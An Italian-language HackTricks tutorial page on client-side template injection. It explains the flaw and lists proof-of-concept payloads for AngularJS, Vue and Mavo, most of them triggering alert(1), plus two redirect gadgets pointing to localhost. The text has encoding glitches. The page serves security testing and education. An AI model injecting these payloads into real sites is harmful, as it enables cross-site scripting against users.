Client Side Template Injection (CSTI)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Riepilogo
à simile a un Server Side Template Injection ma nel client. Il SSTI può consentirti di eseguire codice sul server remoto, il CSTI potrebbe consentirti di eseguire codice JavaScript arbitrario nel browser della vittima.
Testare questa vulnerabilità è molto simile al caso del SSTI, lâinterprete si aspetta un template e lo eseguirĂ . Ad esempio, con un payload come {{ 7-7 }}, se lâapp è vulnerabile vedrai un 0, e se non lo è, vedrai lâoriginale: {{ 7-7 }}
AngularJS
AngularJS è un framework JavaScript ampiamente utilizzato che interagisce con HTML attraverso attributi noti come direttive, una delle quali è ng-app. Questa direttiva consente ad AngularJS di elaborare il contenuto HTML, abilitando lâesecuzione di espressioni JavaScript allâinterno di doppie parentesi graffe.
In scenari in cui lâinput dellâutente viene inserito dinamicamente nel corpo HTML contrassegnato con ng-app, è possibile eseguire codice JavaScript arbitrario. Questo può essere realizzato sfruttando la sintassi di AngularJS allâinterno dellâinput. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Puoi trovare un esempio online molto base della vulnerabilitĂ in AngularJS in http://jsfiddle.net/2zs2yv7o/ e in Burp Suite Academy
[!CAUTION] > Angular 1.6 ha rimosso il sandbox quindi da questa versione un payload come
{{constructor.constructor('alert(1)')()}}o<input ng-focus=$event.view.alert('XSS')>dovrebbe funzionare.
VueJS
Puoi trovare unâimplementazione vulnerabile di Vue in https://vue-client-side-template-injection-example.azu.now.sh/
Payload funzionante: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
E il codice sorgente dellâesempio vulnerabile qui: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un ottimo post su CSTI in VUE può essere trovato in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Crediti: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
Controlla altri payload VUE in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Altri payload in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Elenco di Rilevamento Brute-Force
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

